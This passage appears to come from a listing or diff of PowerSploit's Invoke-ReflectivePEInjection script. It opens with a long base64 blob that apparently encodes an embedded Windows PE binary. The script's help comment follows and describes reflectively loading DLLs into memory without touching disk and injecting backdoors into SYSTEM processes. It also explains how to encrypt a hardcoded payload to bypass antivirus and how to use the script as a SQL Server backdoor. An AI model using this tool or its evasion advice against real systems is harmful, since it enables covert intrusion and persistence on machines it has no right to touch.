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DE8AADNPAADwuQEANE8AAGFPAADwuQEAZE8AAKhPAAB0sgEAuE8AAOJPAACksgEA5E8AAA5QAADwuQEAEFAAAElQAAB0sgEATFAAAG1QAADwuQEAgFAAAGBRAADwuQEAYFEAAIdRAAAwswEAiFEAAOtRAADwuQEA7FEAAB1SAADwuQEAjFIAAKJTAAD8sAEApFMAAC5VAAAksQEAMFUAAL9VAABAsQEAwFUAAMtWAAB0sgEAzFYAACtXAABssQEALFcAADBYAACQsQEAQFgAAHRbAAC4sQEAdFsAAPtbAADQrwEA/FsAAMdcAABUugEAyFwAAERdAAC8sQEARF0AAI9dAAB0sgEAkF0AAMVdAAAwswEAyF0AANZeAADksQEA2F4AAFFfAADQrwEAVF8AAKBfAADwuQEAoF8AAIxgAAAQsgEAjGAAAM9gAABQsgEA3GAAAH9hAABEvAEAgGEAAPphAAB0sgEA/GEAAGJiAACAsgEAZGIAAKFiAACksgEArGIAAP5jAACssgEAAGQAABtlAADUsgEAHGUAAFllAADQrwEAXGUAAJNlAAAwswEAsGUAAFhmAAAAswEAWGYAAOtmAAAEswEA7GYAANZnAAAUswEA2GcAAO1nAAAwswEA8GcAAAVoAAAwswEACGgAACNoAADwuQEAJGgAAD9oAADwuQEAQGgAAOtoAAA4swEA7GgAAHNpAABQswEAdGkAABVqAABgswEAGGoAAGlqAAB8swEAbGoAAJVrAACcswEAmGsAANtrAADwuQEA3GsAAA5sAADwuQEAEGwAAG5sAAB0sgEAcGwAAGBtAAC0swEAYG0AAPptAADUswEA/G0AAD9uAADwuQEAQG4AAEpvAADgswEATG8AAGNvAAAwswEAZG8AADlwAAAQtAEAPHAAAO5wAABUugEA8HAAAGpxAABMtAEAcHEAANVxAAB0tAEA2HEAAIhzAACEtAEAiHMAAB50AACctAEAIHQAAPl1AACstAEA/HUAADh4AADItAEAOHgAAEV7AADotAEASHsAAGt9AACYugEAbH0AACh/AAAMtQEAKH8AAN5/AADQrwEA4H8AAIGAAADwuQEAhIAAAE6DAABctQEAUIMAAOaDAACEtQEA6IMAACOEAAAwswEAJIQAAKKEAABEvAEApIQAACKFAABEvAEAJIUAAESJAACUtQEARIkAAHuJAAAwswEAfIkAALSJAAAwswEAtIkAADKKAAC8tQEANIoAALeKAAC8tQEAuIoAAD2LAAC8tQEAUIsAAImLAAB0sgEAjIsAAK+MAAC8tQEAsIwAAAGNAAAwswEABI0AAI2OAADUtQEAkI4AANKOAAAQtgEA+I4AABGPAAAwswEAFI8AAOePAAAwtgEA6I8AAPqRAABYtgEA/JEAAP6TAACUtgEAAJQAALCUAADEtgEAsJQAAHGVAADstgEAdJUAAKyXAAAEtwEArJcAAHmcAAActwEAfJwAAJ2cAADwuQEAoJwAAMWeAAA4twEAyJ4AAAifAAAwswEAJJ8AAG6gAABQtwEAuKAAANigAAAwswEA2KAAAPigAAAwswEA+KAAAD6hAADwuQEAQKEAAKyhAABYtwEAwKEAAHCiAAB4twEAcKIAANGiAADwuQEA1KIAAKalAAB8twEAqKUAABumAADQrwEAHKYAAMamAACYtwEAyKYAAAGnAADwuQEABKcAABqnAADwuQEANKcAAHenAADwuQEAeKcAAKunAADAtwEArKcAAOWnAAB0sgEA6KcAAJeoAAB0sgEAmKgAACeqAADMtwEARKoAAGqqAADwuQEAbKoAAPCqAAD8twEA8KoAAHerAABUugEAkKsAAHasAAAQuAEAeKwAALysAAB0sgEAvKwAALmuAAA8uAEAvK4AAEmwAABYuAEATLAAAHKwAAAwswEAfLAAAMexAABsuAEAyLEAAPmxAAAwswEA/LEAAGuyAACMuAEAbLIAAIqyAADcvwEAjLIAAOy5AACguAEA7LkAAMu6AADEuAEAzLoAAB+7AADwuQEAILsAAHK8AADQrwEAkLwAAHq9AADwuAEAfL0AABG+AAB0sgEAFL4AAPe+AAD0uAEA+L4AAOfBAAAguQEA6MEAAEPCAABIuQEARMIAAHvCAADwuQEAfMIAAFPDAABsuQEAXMMAAI/DAADwuQEAkMMAAEzEAAB0sgEATMQAAA/FAACUuQEAEMUAAGbFAAAwswEAaMUAAIbFAAAwswEAlMUAALnFAAAwswEAvMUAAHHGAAC8uQEAdMYAAPjGAAB0sgEA+MYAABzHAADwuQEAHMcAAE/IAAD4uQEAUMgAAI7IAADwuQEAkMgAABHJAADwuQEAFMkAAETKAACMuAEARMoAABPMAACovAEAFMwAAArNAAAsugEADM0AAADOAAA8ugEAAM4AADjOAAB0sgEAOM4AAHDOAAB0sgEAcM4AAEDQAABUugEAVNAAAAfRAABougEANNEAAJHTAAB0ugEAlNMAANfTAAAwswEA2NMAALPVAACYugEAvNUAAEbWAABUugEAUNYAAHfWAAAwswEAhNYAAL/WAAB0sgEAwNYAAOnWAADwuQEA7NYAAA/XAAC4ugEAENcAADXXAADYugEAONcAAFXXAAAwswEAWNcAALvXAADwuQEAvNcAANnXAAAwswEA7NcAAKvYAADwuQEArNgAAOXYAAAwswEA6NgAAJ7bAAD4ugEAoNsAAPfcAAAQuwEAEN0AADTdAAA4uwEAQN0AAFjdAABAuwEAYN0AAGHdAABEuwEAcN0AAHHdAABIuwEAdN0AAAreAADQrwEADN4AAOveAABMuwEA7N4AAKLgAACovAEApOAAABPsAAB4uwEAFOwAAALwAAC8uwEABPAAAJ3wAACQuwEAoPAAAAzxAACksgEADPEAAHTzAACguwEAdPMAAH70AAC8uwEAgPQAADT5AADEuwEAZPoAAN37AADQrwEA4PsAADf8AADwuQEAOPwAAK38AADguwEAsPwAADz9AABUugEAPP0AACz/AAAAvAEALP8AAOb/AAAgvAEA6P8AAHgAAQBEvAEAeAABAO0CAQBMvAEA8AIBAM4EAQBovAEA0AQBAPgEAQAwswEA+AQBAHQFAQDwuQEAdAUBAAcGAQCYvAEACAYBAJ8GAQCovAEA3AYBAMEHAQDEvAEAxAcBAFQIAQCMxgEAVAgBACELAQDgvAEAJAsBAFIMAQD8vAEAVAwBAOwMAQDwuQEA7AwBAFcNAQDwuQEAWA0BADUQAQAUvQEAUBABABcRAQAovQEAGBEBAHYSAQAsvQEAeBIBAPYSAQBUvQEAEBMBAMUTAQBovQEAyBMBAGEUAQCYvAEAgBQBAM4UAQBwvQEA0BQBALgVAQB4vQEAuBUBAFIWAQB0sgEAVBYBACcXAQDQrwEAQBcBAIAXAQCIvQEAxBcBAPYZAQCQvQEACBoBAD4aAQB0sgEAwBoBAAEbAQDAvQEABBsBAGMbAQAwswEAZBsBAL0bAQDgvQEAwBsBADUdAQDovQEAQB0BAIUdAQBEvAEAiB0BAM8dAQBEvAEA0B0BAH0eAQBUugEAgB4BACofAQCQuwEALB8BAKAfAQAwswEAoB8BAEUgAQAAvgEAcCABAHgiAQAwvgEAeCIBAJspAQBwvgEAnCkBALcqAQCIvgEAuCoBADMrAQC4vgEASCsBAFAtAQDIvgEAUC0BANUtAQDwuQEA2C0BAKcuAQDwuQEAxC4BAC8vAQDwuQEAMC8BAHAvAQAwswEAcC8BAMgwAQDkvgEAyDABAC4xAQAMvwEAMDEBANc4AQAcvwEA2DgBAKo5AQA8vwEArDkBAN45AQDcvwEA4DkBAMY7AQBgvwEA0DsBADA9AQBgvwEAdD0BAEo+AQB4vwEATD4BAJI+AQAwswEA6D4BAOs/AQBgvwEA7D8BADtAAQAwswEAPEABAC1BAQDQrwEAMEEBAFdBAQDcvwEAZEEBAJ9BAQDgrwEAoEEBAMJBAQAwswEAxEEBAFxDAQCMvwEAXEMBACpEAQCovwEALEQBAFtEAQAwswEAXEQBAKpFAQCwvwEArEUBABdIAQDAvwEAGEgBAEhIAQDcvwEAYEgBAO9IAQC8tQEANEkBAE5JAQDMsgEATkkBAGhJAQDMsgEAaEkBAIJJAQDMsgEAgkkBAKpJAQDMsgEAskkBAM1JAQDMsgEAzUkBAPNJAQDMsgEA80kBABFKAQDMsgEAEUoBAFdKAQB0swEAV0oBAG1KAQDMsgEAbUoBAIdKAQDMsgEAh0oBAKJKAQDMsgEAp0oBAMJKAQDMsgEAx0oBAOJKAQDMsgEA4koBAPhKAQDMsgEAAksBACtLAQDMsgEAK0sBAENLAQDMsgEAQ0sBADdMAQDMsgEAQ0wBANJMAQBMtgEA0kwBAO1MAQDMsgEA7UwBAAhNAQDMsgEACE0BACxNAQDMsgEALE0BAEpNAQDMsgEASk0BAGNNAQDMsgEAY00BAH5NAQDMsgEAg00BAJ5NAQDMsgEAnk0BALlNAQDMsgEAuU0BANRNAQDMsgEA1E0BAPJNAQDMsgEAAE4BACJOAQDMsgEAIk4BAD1OAQDMsgEAPU4BAFhOAQDMsgEAXU4BAHhOAQDMsgEAeE4BAJFOAQDMsgEAkU4BANpOAQA0vwEAAE8BADpPAQAQwwEAQE8BAH5PAQD8wgEAUFABAGtQAQDAxQEA4FABADBRAQAsxwEAUFEBAINRAQDMsgEA0FEBAPBRAQAwswEACFIBAChSAQAwswEAfFIBANBSAQCUsAEA3FIBABZTAQAwswEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAEAGAAAABgAAIAAAAAAAAAAAAQAAAAAAAEAAgAAADAAAIAAAAAAAAAAAAQAAAAAAAEACQQAAEgAAABYUAIAXwIAAOQEAAAAAAAAPGFzc2VtYmx5IHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MSIgbWFuaWZlc3RWZXJzaW9uPSIxLjAiPjx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj48c2VjdXJpdHk+PHJlcXVlc3RlZFByaXZpbGVnZXM+PHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSI+PC9yZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbD48L3JlcXVlc3RlZFByaXZpbGVnZXM+PC9zZWN1cml0eT48L3RydXN0SW5mbz48YXBwbGljYXRpb24geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj48d2luZG93c1NldHRpbmdzPjxtc193aW5kb3dzU2V0dGluZ3M6ZHBpQXdhcmUgeG1sbnM6bXNfd2luZG93c1NldHRpbmdzPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL1NNSS8yMDA1L1dpbmRvd3NTZXR0aW5ncyIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vU01JLzIwMDUvV2luZG93c1NldHRpbmdzIj50cnVlPC9tc193aW5kb3dzU2V0dGluZ3M6ZHBpQXdhcmU+PC93aW5kb3dzU2V0dGluZ3M+PC9hcHBsaWNhdGlvbj48L2Fzc2VtYmx5PlBQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYAGABANAAAACAooiikKKYoqCiqKKworii0KLYouCi+KIAo0ijUKNYo2CjaKNwo3ijiKOQo5ijoKOoo7CjuKPAo8ij0KPoo/Cj+KMApAikEKQYpCikMKQ4pECkSKRQpFikeKSApIikkKSYpKCkqKSwpLikwKTIpNCk4KTopPCk+KQApQilEKUYpSClKKUwpTilQKVIpcil0KUIphCmmKagpqimsKa4ptim4KbopoCokKiYqKCoqKiwqLiowKjIqNCo2KjgqOio8Kj4qACpCKkAAABwAQBAAAAAwKHIodCh2KHwofih2Kvoq/irCKwYrCisOKxIrFisaKx4rIismKyorLisyKzYrOis+KwIrRitKK0AgAEAnAAAAGCrcKuAq5CroKuwq8Cr0Kvgq/CrAKwQrCCsMKxArFCsYKxwrICskKygrLCswKzQrOCs8KwArRCtIK0wrUCtUK1grXCtgK2QraCtsK3ArdCt4K3wrQCuEK4grjCuQK5QrmCucK6ArpCuoK6wrsCu0K7grvCuAK8QryCvMK9Ar1CvYK9wr4CvkK+gr7CvwK/Qr+Cv8K8AkAEAZAEAAACgEKAgoDCgQKBQoGCgcKCAoJCgoKCwoMCg0KBAp0inUKdYp2CnaKdwp3ingKeIp5CnmKegp6insKe4p8CnyKfQp9in4Kfop/Cn+KcAqAioEKgYqCCoKKgwqDioQKhIqFCoWKhgqGiocKh4qICoiKiQqJiooKioqLCouKjAqMio0KjYqOCo6KjwqPioAKkIqRCpGKkgqSipMKk4qUCpSKlQqVipYKloqXCpeKmAqYipkKmYqaCpqKmwqbipwKnIqdCp2Kngqeip8Kn4qQCqCKoQqhiqIKooqjCqOKpAqlCrWKtgq2ircKt4q4CriKuQq5iroKuoq7CruKvAq8ir0KvYq/Cr+KsArAisEKwYrCCsKKwwrMis0KzgrOis8Kz4rACtCK0QrRitIK0orTCtOK1ArUitUK1YrWCtaK1wrXitgK2IrZCtmK2graitsK24rcCtyK3Qrdit4K3orQDgAQBEAQAACKA4oHCgqKDgoOig8KD4oAChCKEQoSChSKFwoZihQKJgonCiIKYopjCmOKagqqiqsKq4qsCqyKrQqtiq4KroqvCq+KoAqwirEKsYqyCrKKswqzirQKtIq1CrWKtgq2ircKt4q4CriKuQq5iroKuoq7CruKvAq8ir0KvYq+Cr6Kvwq/irIKworDCsOKxArEisUKxYrGCsaKxwrHisgKyIrJCsmKygrKissKy4rMCsyKzQrNis4KzorPCs+KwArQitEK0YrSCtKK0wrTitQK1IrVCtWK1grWitcK2IrZCtmK2graitsK24rcCtyK3Qrdit4K3orfCt+K0ArgiuEK4YriCuKK4wrjiuQK5IrlCuWK5grmiucK54roCuiK6QrpiuoK6orrCuuK7Arsiu0K7YrkivaK+Ir6ivyK8AAADwAQB4AAAACKAgoCigMKA4oECgSKBQoHiggKCIoJCgmKCgoKigsKC4oMCgyKDYoOCg6KDwoPigAKEIoRChUKVQplimYKZopnCmeKaApoimkKaYpqin0Kf4pyCoSKhwqJiowKgAqVCpoKnwqTiqYKqIqriq4KoIqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=')
3
- function Invoke-ReflectivePEInjection
4
- {
5
- <#
6
- .SYNOPSIS
7
-
8
- This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process,
9
- or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,
10
- please lead the Notes section (GENERAL NOTES) for information on how to use them.
11
-
12
-
13
- 1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
14
- Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process.
15
-
16
- This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system,
17
- this will load and execute the DLL/EXE in to memory without writing any files to disk.
18
-
19
-
20
- 2.) Reflectively load a DLL in to memory of a remote process.
21
- As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process.
22
-
23
- This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output
24
- from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the
25
- remote process.
26
-
27
-
28
- While this script provides functionality to specify a file to load from disk a URL, or a byte array, these are more for demo purposes. The way I'd recommend using the script is to create a byte array
29
- containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will
30
- bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba
31
- blog linked below (thanks to whitey).
32
-
33
- PowerSploit Function: Invoke-ReflectivePEInjection
34
- Author: Joe Bialek, Twitter: @JosephBialek
35
- License: BSD 3-Clause
36
- Required Dependencies: None
37
- Optional Dependencies: None
38
- Version: 1.4
39
-
40
- .DESCRIPTION
41
-
42
